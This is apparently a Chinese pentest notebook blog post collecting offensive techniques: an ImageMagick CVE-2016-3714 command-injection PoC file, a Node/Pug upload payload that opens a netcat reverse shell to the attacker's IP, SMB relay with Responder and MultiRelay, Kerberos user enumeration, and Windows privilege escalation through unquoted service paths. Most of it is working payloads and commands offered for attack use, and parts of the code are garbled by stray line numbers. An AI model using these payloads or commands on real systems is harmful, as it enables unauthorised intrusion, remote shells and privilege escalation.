杂文2
NOTE-2020/3/6
CVE-2016-3714 - ImageMagick 命令执行
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
- ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。可以看到使用了
1
2
3
4
5MagickExport int ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose,const char *command,char *message,ExceptionInfo *exception)
sanitize_command=SanitizeDelegateCommand(command);
if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
status=system(sanitize_command);system
函数执行委托中的command
内容。
在他的委托配置里可以看到
1 |
|
可以看到%M被拼接在command里,%M代表图片的远程路径。
- 这个委托指远程加载https图片,先使用curl下载,%M指代远程路径,因此我们可以使用
"
闭合掉url,然后执行命令。 - 当
%M
为 :https://"|id && ls -al /etc/passwd"
,原命令变为command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>
。 - 因此构造poc.mvg(mvg图片为远程图片,可以包含url)漏洞poc : https://github.com/ImageTragick/PoCs
1
2
3
4push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
Nodejs Rce
使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。
在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。上传的响应会返回路径
payload:
1
2-var x = global.process.mainModule.require
-x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash注: 在pug中,
"-"
表示执行js上传成功后会返回路径
访问
[网站地址]/drouting?filename=../uploads/[你的文件哈希]
即可触发命令执行,服务器将回去连接你的vps的8888端口。另附:webshell列表
红队攻击
密码喷洒
没啥好说的
进入内网
responder
MultiRelay
- 如果不强制smb签名(可以通过nmap获知:https://nmap.org/nsedoc/scripts/smb-security-mode.html )我们何以使用MultiRelay进行中继。
- 步骤:
- 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器
python ./Responder.py -I eth0 -rv
·cd /opt/Responder/tool && ./MultiRelay.py -t -c -u AL
- 成功中继的话可以生成基础shell
利用kerberos枚举用户
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt
- 需要准备用户列表,但是由于我们只是查询 DC 而没有对其进行身份验证,因此通常此行动不会被检测。
命令查找工具
记不住的windows命令可以通过这个查找:1
2
3
4
5#更新并运行
cd /opt/rtfm
chmod +x rtfm.py
./rtfm.py -u
./rtfm.py -c ‘rtfm’1
2#列出所有标签
./rtfm.py -D1
2#搜索标签下的命令
./rtfm.py -t enumeration | m提权
可信任服务路径提权
windows中的服务一般都是高权限运行,如果服务的路径未被引用且有空格,那windows会先去匹配空格前部的应用名,例如:
1
c:\programes\new folder\play hack.exe
系统的匹配顺序为
1
2
3c:\programes\new.exe
c:\programes\new folder\play.exe
c:\programes\new folder\play hack.exe所以哦我们寻找未安全引用的服务路径并上传恶意程序。
查找漏洞:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
icacls 可以查看文件夹权限:
1
(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
系统服务错误配置
系统服务一般是开机自动加载,且以system权限运行,如果一个低权限用户拥有对可执行文件写的权力,则可以更改可执行文件,写入恶意shell。
不安全的注册表权限配置
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!